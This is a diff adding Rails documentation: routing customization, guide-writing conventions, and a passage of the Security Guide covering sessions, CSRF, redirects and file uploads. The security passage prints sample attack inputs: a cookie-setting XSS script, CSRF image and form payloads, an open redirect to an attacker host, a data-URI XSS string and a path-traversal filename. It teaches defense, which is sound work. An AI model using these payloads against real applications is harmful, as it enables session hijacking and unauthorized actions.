+NOTE: For the curious, `'posts#index'` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.
+
+### Using `root`
+
+You can specify what Rails should route `'/'` to with the `root` method:
+
+```ruby
+root to: 'pages#main'
+root 'pages#main' # shortcut for the above
+```
+
+You should put the `root` route at the top of the file, because it is the most popular route and should be matched first.
+
+NOTE: The `root` route only routes `GET` requests to the action.
+
+You can also use root inside namespaces and scopes as well. For example:
+
+```ruby
+namespace :admin do
+  root to: "admin#index"
+end
+
+root to: "home#index"
+```
+
+### Unicode character routes
+
+You can specify unicode character routes directly. For example:
+
+```ruby
+get 'こんにちは', to: 'welcome#index'
+```
+
+Customizing Resourceful Routes
+------------------------------
+
+While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+
+### Specifying a Controller to Use
+
+The `:controller` option lets you explicitly specify a controller to use for the resource. For example:
+
+```ruby
+resources :photos, controller: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
+
+| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET       | /photos          | images#index      | photos_path          |
+| GET       | /photos/new      | images#new        | new_photo_path       |
+| POST      | /photos          | images#create     | photos_path          |
+| GET       | /photos/:id      | images#show       | photo_path(:id)      |
+| GET       | /photos/:id/edit | images#edit       | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id      | images#update     | photo_path(:id)      |
+| DELETE    | /photos/:id      | images#destroy    | photo_path(:id)      |
+
+NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
+
+For namespaced controllers you can use the directory notation. For example:
+
+```ruby
+resources :user_permissions, controller: 'admin/user_permissions'
+```
+
+This will route to the `Admin::UserPermissions` controller.
+
+NOTE: Only the directory notation is supported. Specifying the
+controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`)
+can lead to routing problems and results in
+a warning.
+
+### Specifying Constraints
+
+You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
+
+```ruby
+resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/}
+```
+
+This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
+
+You can specify a single constraint to apply to a number of routes by using the block form:
+
+```ruby
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+```
+
+NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+
+TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash.
+
+### Overriding the Named Helpers
+
+The `:as` option lets you override the normal naming for the named route helpers. For example:
+
+```ruby
+resources :photos, as: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
+
+| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET       | /photos          | photos#index      | images_path          |
+| GET       | /photos/new      | photos#new        | new_image_path       |
+| POST      | /photos          | photos#create     | images_path          |
+| GET       | /photos/:id      | photos#show       | image_path(:id)      |
+| GET       | /photos/:id/edit | photos#edit       | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id      | photos#update     | image_path(:id)      |
+| DELETE    | /photos/:id      | photos#destroy    | image_path(:id)      |
+
+### Overriding the `new` and `edit` Segments
+
+The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:
+
+```ruby
+resources :photos, path_names: { new: 'make', edit: 'change' }
+```
+
+This would cause the routing to recognize paths such as:
+
+```
+/photos/make
+/photos/1/change
+```
+
+NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+
+```ruby
+scope path_names: { new: 'make' } do
+  # rest of your routes
+end
+```
+
+### Prefixing the Named Route Helpers
+
+You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:
+
+```ruby
+scope 'admin' do
+  resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+```
+
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.
+
+To prefix a group of route helpers, use `:as` with `scope`:
+
+```ruby
+scope 'admin', as: 'admin' do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+```
+
+This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.
+
+NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.
+
+You can prefix routes with a named parameter also:
+
+```ruby
+scope ':username' do
+  resources :posts
+end
+```
+
+This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+
+### Restricting the Routes Created
+
+By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+
+```ruby
+resources :photos, only: [:index, :show]
+```
+
+Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.
+
+The `:except` option specifies a route or list of routes that Rails should _not_ create:
+
+```ruby
+resources :photos, except: :destroy
+```
+
+In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).
+
+TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+### Translated Paths
+
+Using `scope`, we can alter path names generated by resources:
+
+```ruby
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+  resources :categories, path: 'kategorien'
+end
+```
+
+Rails now creates routes to the `CategoriesController`.
+
+| HTTP Verb | Path                       | Controller#Action  | Named Helper            |
+| --------- | -------------------------- | ------------------ | ----------------------- |
+| GET       | /kategorien                | categories#index   | categories_path         |
+| GET       | /kategorien/neu            | categories#new     | new_category_path       |
+| POST      | /kategorien                | categories#create  | categories_path         |
+| GET       | /kategorien/:id            | categories#show    | category_path(:id)      |
+| GET       | /kategorien/:id/bearbeiten | categories#edit    | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id            | categories#update  | category_path(:id)      |
+| DELETE    | /kategorien/:id            | categories#destroy | category_path(:id)      |
+
+### Overriding the Singular Form
+
+If you want to define the singular form of a resource, you should add additional rules to the `Inflector`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+```
+
+### Using `:as` in Nested Resources
+
+The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example:
+
+```ruby
+resources :magazines do
+  resources :ads, as: 'periodical_ads'
+end
+```
+
+This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+
+Inspecting and Testing Routes
+-----------------------------
+
+Rails offers facilities for inspecting and testing your routes.
+
+### Listing Existing Routes
+
+To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rake routes` command in your terminal to produce the same output.
+
+Both methods will list all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see:
+
+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern to match
+* The routing parameters for the route
+
+For example, here's a small section of the `rake routes` output for a RESTful route:
+
+```
+    users GET    /users(.:format)          users#index
+          POST   /users(.:format)          users#create
+ new_user GET    /users/new(.:format)      users#new
+edit_user GET    /users/:id/edit(.:format) users#edit
+```
+
+You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:
+
+```bash
+$ CONTROLLER=users bin/rake routes
+```
+
+TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+
+### Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
+
+* `assert_generates`
+* `assert_recognizes`
+* `assert_routing`
+
+#### The `assert_generates` Assertion
+
+`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:
+
+```ruby
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+```
+
+#### The `assert_recognizes` Assertion
+
+`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+```
+
+You can supply a `:method` argument to specify the HTTP verb:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })
+```
+
+#### The `assert_routing` Assertion
+
+The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`:
+
+```ruby
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+```
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
new file mode 100644
index 0000000..8faf03e
--- /dev/null
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -0,0 +1,128 @@
+Ruby on Rails Guides Guidelines
+===============================
+
+This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
+
+After reading this guide, you will know:
+
+* About the conventions to be used in Rails documentation.
+* How to generate guides locally.
+
+--------------------------------------------------------------------------------
+
+Markdown
+-------
+
+Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
+
+Prologue
+--------
+
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
+
+Titles
+------
+
+The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
+
+```
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+```
+
+Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+
+```
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+```
+
+Use the same typography as in regular text:
+
+```
+##### The `:content_type` Option
+```
+
+API Documentation Guidelines
+----------------------------
+
+The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html):
+
+* [Wording](api_documentation_guidelines.html#wording)
+* [Example Code](api_documentation_guidelines.html#example-code)
+* [Filenames](api_documentation_guidelines.html#filenames)
+* [Fonts](api_documentation_guidelines.html#fonts)
+
+Those guidelines apply also to guides.
+
+HTML Guides
+-----------
+
+Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
+
+To install the latest version of Bundler, simply run the `gem install bundler` command
+
+### Generation
+
+To generate all the guides, just `cd` into the `guides` directory, run `bundle install` and execute:
+
+```
+bundle exec rake guides:generate
+```
+
+or
+
+```
+bundle exec rake guides:generate:html
+```
+
+To process `my_guide.md` and nothing else use the `ONLY` environment variable:
+
+```
+touch my_guide.md
+bundle exec rake guides:generate ONLY=my_guide
+```
+
+By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.
+
+To force processing all the guides, pass `ALL=1`.
+
+It is also recommended that you work with `WARNINGS=1`. This detects duplicate IDs and warns about broken internal links.
+
+If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (eg. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:
+
+```
+bundle exec rake guides:generate GUIDES_LANGUAGE=es
+```
+
+If you want to see all the environment variables you can use to configure the generation script just run:
+
+```
+rake
+```
+
+### Validation
+
+Please validate the generated HTML with:
+
+```
+bundle exec rake guides:validate
+```
+
+Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set `WARNINGS=1` when generating guides to detect them. The warning messages suggest a solution.
+
+Kindle Guides
+-------------
+
+### Generation
+
+To generate guides for the Kindle, use the following rake task:
+
+```
+bundle exec rake guides:generate:kindle
+```
diff --git a/guides/source/security.md b/guides/source/security.md
new file mode 100644
index 0000000..ece431d
--- /dev/null
+++ b/guides/source/security.md
@@ -0,0 +1,1018 @@
+Ruby on Rails Security Guide
+============================
+
+This manual describes common security problems in web applications and how to avoid them with Rails.
+
+After reading this guide, you will know:
+
+* All countermeasures _that are highlighted_.
+* The concept of sessions in Rails, what to put in there and popular attack methods.
+* How just visiting a site can be a security problem (with CSRF).
+* What you have to pay attention to when working with files or providing an administration interface.
+* How to manage users: Logging in and out and attack methods on all layers.
+* And the most popular injection attack methods.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
+The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack me [...]
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
+
+Sessions
+--------
+
+A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
+### What are Sessions?
+
+NOTE: _HTTP is a stateless protocol. Sessions make it stateful._
+
+Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
+A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+
+```ruby
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+```
+
+### Session id
+
+NOTE: _The session id is a 32 byte long MD5 hash value._
+
+A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
+
+### Session Hijacking
+
+WARNING: _Stealing a user's session id lets an attacker use the web application in the victim's name._
+
+Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
+
+Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+
+    ```ruby
+    config.force_ssl = true
+    ```
+
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
+
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
+
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+
+### Session Guidelines
+
+Here are some general guidelines on sessions.
+
+* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+### Session Storage
+
+NOTE: _Rails provides several storage mechanisms for the session hashes. The most important is `ActionDispatch::Session::CookieStore`._
+
+Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
+
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
+
+`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.:
+
+    YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+
+Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+
+If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
+
+### Replay Attacks for CookieStore Sessions
+
+TIP: _Another sort of attack you have to be aware of when using `CookieStore` is the replay attack._
+
+It works like this:
+
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* Their new, lower credit will be stored in the session.
+* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
+* The user has their credit back.
+
+Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
+The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
+
+### Session Fixation
+
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
+
+![Session fixation](images/session_fixation.png)
+
+This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
+
+* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
+* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.
+* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injec [...]
+* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+* As the new trap session is unused, the web application will require the user to authenticate.
+* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+### Session Fixation - Countermeasures
+
+TIP: _One line of code will protect you from session fixation._
+
+The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+```ruby
+reset_session
+```
+
+If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
+
+Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course [...]
+
+### Session Expiry
+
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
+
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
+
+```ruby
+class Session < ActiveRecord::Base
+  def self.sweep(time = 1.hour)
+    if time.is_a?(String)
+      time = time.split.inject { |count, unit| count.to_i.send(unit) }
+    end
+
+    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+  end
+end
+```
+
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+```ruby
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+```
+
+Cross-Site Request Forgery (CSRF)
+---------------------------------
+
+This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
+
+![](images/csrf.png)
+
+In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of  [...]
+
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* `<img src="http://www.webapp.com/project/1/destroy">`
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
+
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
+
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - _CSRF is an important security issue_.
+
+### CSRF Countermeasures
+
+NOTE: _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
+
+The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
+**Use GET if:**
+
+* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+**Use POST if:**
+
+* The interaction is more _like an order_, or
+* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _held accountable for the results_ of the interaction.
+
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
+
+_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+
+```html
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+```
+
+Or the attacker places the code into the onmouseover event handler of an image:
+
+```html
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+```
+
+There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.
+
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller:
+
+```ruby
+protect_from_forgery
+```
+
+This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset.
+
+It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
+
+```ruby
+def handle_unverified_request
+  super
+  sign_out_user # Example method that will destroy the user cookies.
+end
+```
+
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
+
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+
+Redirection and Files
+---------------------
+
+Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
+### Redirection
+
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
+
+Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web applicati [...]
+
+```ruby
+def legacy
+  redirect_to(params.update(action:'main'))
+end
+```
+
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
+
+```
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+```
+
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_.
+
+#### Self-contained XSS
+
+Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+
+`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`
+
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_.
+
+### File Uploads
+
+NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
+
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and [...]
+
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or [...]
+
+```ruby
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+```
+
+A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
+The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
+### Executable Code in File Uploads
+
+WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
+
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads  [...]
+
+_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
+
+### File Downloads
+
+NOTE: _Make sure users cannot download arbitrary files._
+
+Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+
